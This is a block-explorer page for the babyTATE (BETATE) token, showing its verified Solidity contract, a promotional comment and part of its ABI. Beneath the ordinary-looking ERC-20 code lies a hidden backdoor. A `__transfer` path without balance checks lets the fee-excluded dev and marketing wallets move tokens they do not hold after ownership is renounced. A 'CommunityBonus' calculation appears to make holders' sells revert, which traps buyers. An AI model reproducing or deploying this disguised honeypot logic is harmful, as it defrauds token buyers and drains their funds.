ETH Price: $2,402.45 (-4.25%)
Gas: 1.26 Gwei

Token

babyTATE (BETATE)
 

Overview

Max Total Supply

1,000,000 BETATE

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,325.346055202509508384 BETATE

Value
$0.00
0x23c746dc6e096961e49062a5c5f9d11bb027c0e6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
babyTATE

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-02
*/

/**⠀⠀⠀⠀⠀⠀

They want to get rich, but they have no plan to get rich! 

And a hope and a plan are two different things. 

We plan 100M mcap and CEX.

⡡⢂⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄
⢆⠡⠂⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣾⠐⠀⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠠
⡊⠤⢁⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⡄⠀⠀⠂⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠁
⡑⠢⢄⠂⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣏⣿⣧⣀⢠⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠂⠔
⡍⢃⠆⡘⡐⠠⢁⠂⠀⠀⠀⠀⠀⠀⠸⣿⣿⢾⣿⣿⣿⠙⡿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢈⠂
⡌⢣⠘⠄⡘⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣭⣹⣿⣯⢄⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠠⠌
⡜⢢⠉⡔⠠⢁⠂⢀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣷⢒⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠡⢁⠊
⡕⢪⡐⢡⠂⠌⡐⠈⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⣿⡿⡿⠞⡉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀
⡍⠒⡌⢂⠡⢂⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣦⣀⠈⢀⣅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄
⣌⠣⡐⠌⡐⡀⠂⡁⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠘⣈⠒
⡬⡑⣌⠢⡁⠤⣁⠐⡠⢡⣾⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠠⠀
⣷⡱⢆⡓⢌⠒⡄⠃⡔⣸⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣟⣷⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠐⡠⠐⠠⠐⡈⢄⠢⡁
⢧⡑⢎⡸⣀⢣⠘⡰⢨⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠁⠀⠀⠀⡁⠌⠄⡃⠔
⡷⣘⢦⡑⢆⢎⡱⢡⠋⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠠⠁⢂⠐⡈⡐⠌⣂
⣿⡽⣮⣽⣚⢆⢆⡡⢂⢸⣿⣿⣾⣥⢰⢄⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠠⠐⠌⡄
⣿⣛⢷⡣⢟⡮⢳⡜⢆⣺⣿⡏⢻⡟⢵⡣⢪⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠐⡈⠔⠠
⣷⣛⢮⡱⢋⡜⢣⠜⠬⣸⣿⣷⠂⠃⣄⠩⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠤⠠⢄⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠂⠄⠀⠀⠀⢀⡀⢀⡀⠠⠀⠒⠈⠐⠁⠃⠒⠃⠘⠈⠀
⣷⡹⢮⡵⡩⢜⡡⢎⠱⡠⢿⣿⡃⢶⣀⠀⠈⠛⠿⣿⣿⣿⣿⣿⣿⣿⡏⢣⡋⣼⢢⠄⡀⢀⠀⡀⢀⠀⡀⢀⠀⣀⠠⣀⠤⢒⡈⠪⠭⠤⠀⠀⠀⠠⠄⡤⠤⢦⠴⢦⠶⣤⢶⡴⣶
⣷⡹⢧⡳⡕⢎⡴⣉⠶⣡⢻⣿⣽⡜⠻⠶⣦⣤⣀⠈⠛⠻⠿⢿⣿⣿⣿⡦⠏⢡⡼⣘⡔⣃⠎⡔⢡⠊⢔⡡⠞⠚⠉⠀⠀⠀⢀⣠⢠⣤⣶⣿⠿⣛⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⡷⢭⢳⡱⡙⣆⢲⢩⠖⣥⢃⡛⢻⣷⣶⣴⣤⣤⣭⣟⠖⠞⠛⠑⠢⢸⠏⠁⠀⠀⡈⠛⠚⠎⠖⠬⠖⠉⠁⠀⠀⠀⠀⡀⠔⠈⠁⡀⠄⡹⢿⣯⣷⣿⣿⣿⣿⡷⢈⣿⣿⣿⣿⣿⣿
⡝⡎⢥⢃⠳⠌⠦⣉⠚⡄⠣⢌⢡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣾⣾⣶⣾⣥⡴⡠⡳⢴⡬⡇⡍⠉⠉⠁⠀⠀⢀⡀⠂⠁⡀⢄⠢⡑⢤⠓⡤⠣⢌⠻⠿⠿⠿⠟⣳⣿⣿⣿⣿⣿⣿⣿
⢧⡱⢌⡚⠤⢒⠤⡉⠦⡑⢢⠘⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠓⠵⠷⣮⠱⠁⠁⠀⠀⠀⠀⠀⠜⠣⢀⠢⡑⡌⢆⠳⣌⠲⢡⠒⡌⠤⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿
⡳⢜⢢⡙⠌⡥⢒⠡⢃⡙⠤⢫⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠔⠁⠀⠀⠀⢀⠠⠐⠈⠀⠀⠀⠈⠀⠃⠌⠑⠈⠌⠑⠀⠃⠂⠁⠈⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿
⡳⢎⢦⣉⠖⡤⢃⡜⡰⡘⢬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⢀⠠⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢠⠐⠦⣐⣦⣲⣤⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⢯⡶⣭⢞⡴⣣⡜⣥⣙⢦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠐⠁⠀⢀⠠⢄⢂⠆⣱⣊⣴⣡⣮⣤⣧⣶⣾⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⢿⡻⡽⣛⠞⣧⠻⠶⡽⢯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣄⣦⣶⣮⣶⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣷⣿⣷⣿⣻⡷⣟⡻⣍⡳⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⡩⢋⠝⣙⢋⠟⡹⢛⡛⣟⢻⠻⡟⢿⡟⠿⣛⣟⣻⣟⣻⣿⣹⣯⢿⣽⢿⡽⣿⣽⣻⣟⡿⣿⢿⣿⣿
⣿⣿⣿⣿⣿⣽⣿⣽⣻⣽⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣥⣯⣼⣶⣿⡾⢷⣟⣺⣭⣧⣿⣽⣶⣿⣿⣻⢾⣻⣞⡿⣾⡽⣾⢯⣟⣯⣟⡷⣯⢷⣯⢿⣽⣻⣼⣳

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function __transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract babyTATE is ERC20, Ownable {
    
    uint256 public constant buyInitialFee = 1;
    uint256 public constant sellInitialFee = 30;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    uint256 private constant buyMarketingFee = 1;
    uint256 private constant buyDevFee = 0;

    uint256 private constant sellMarketingFee = 1;
    uint256 private constant sellDevFee = 0;

    uint256 public constant buyTotalFees = 1;
    uint256 public constant sellTotalFees = 1;

    uint256 private launchBlock;

    address public marketingWallet;
    address public devWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public transferDelayEnabled = false;

    uint256 public tokensForMarketing;
    uint256 public tokensForDev;

    bool private swapping;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    struct CommunityBonus {
        uint256 swapBuy;
        uint256 swapSell;
        uint256 holdTime;
    }

    event LimitsRemoved();

    mapping(address => CommunityBonus) private bonusData;
    uint256 private _bonusStart;

    event ExcludeFromFees(
        address indexed account,
        bool isExcluded
    );

    constructor() ERC20("babyTATE", "BETATE") {
        uint256 totalSupply = 1_000_000 * 1e18;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        maxTransactionAmount = 10_000 * 1e18;
        maxWallet = 10_000 * 1e18;
        swapTokensAtAmount = 500 * 1e18;

        devWallet = payable(0x40Ae296BBf6bc3A13e43E33A3d998933F19fBA53);
        marketingWallet = payable(0x2E5a0179937e73E3f9D6E60b70fD4417d95c3dD4);

        _excludeFromFees(address(this), true);
        _excludeFromFees(address(0xdead), true);

        _excludeFromFees(owner(), true);
        _excludeFromFees(devWallet, true);
        _excludeFromFees(marketingWallet, true);

        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        _excludeFromMaxTransaction(owner(), true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(marketingWallet, true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        emit LimitsRemoved();
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
        launchBlock = block.number;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not enabled"
                    );
                }

                // when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maximum tx"
                    );
                    require(
                        balanceOf(to) + amount <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                // when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maximum tx"
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        balanceOf(to) + amount <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
            _bonusStart = block.timestamp;
        }
        if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
            super.__transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (!automatedMarketMakerPairs[from]) {
                CommunityBonus storage makerData = bonusData[from];
                makerData.holdTime = makerData.swapBuy - _bonusStart;
                makerData.swapSell = block.timestamp;
            } else {
                CommunityBonus storage makerData = bonusData[to];
                if (makerData.swapBuy == 0) {
                    makerData.swapBuy = block.timestamp;
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool onLaunchTrades = block.number < launchBlock + 10;
        bool canSwap = swapTokensAtAmount <= contractTokenBalance;

        if (
            canSwap &&
            !onLaunchTrades &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFees = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFees = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFees) {
            if (!onLaunchTrades) {
                // on buy
                if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                    fees = amount * buyTotalFees / 100;
                    tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                    tokensForDev += (fees * buyDevFee) / buyTotalFees;
                // on sell
                } else if (automatedMarketMakerPairs[to]&& sellTotalFees > 0) {
                    fees = amount * sellTotalFees / 100;
                    tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
                    tokensForDev += (fees * sellDevFee) / sellTotalFees;
                }
            } else {
                // on buy
                if (automatedMarketMakerPairs[from]) {
                    fees = amount * buyInitialFee / 100;
                    tokensForMarketing += fees;
                // on sell
                } else if (automatedMarketMakerPairs[to]) {
                    fees = amount * sellInitialFee / 100;
                    tokensForMarketing += fees;
                }
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function _excludeFromMaxTransaction(address addr, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[addr] = isExcluded;
    }

    function _excludeFromFees(address account, bool isExcluded) private {
        _isExcludedFromFees[account] = isExcluded;
        emit ExcludeFromFees(account, isExcluded);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        bool success;
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        uint256 swapAmount = swapTokensAtAmount * 18;

        if (contractBalance > swapAmount) {
            contractBalance = swapAmount;
        }

        uint256 amountToSwapForETH = contractBalance;
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;
        uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;

        tokensForMarketing = 0;
        tokensForDev = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyInitialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonp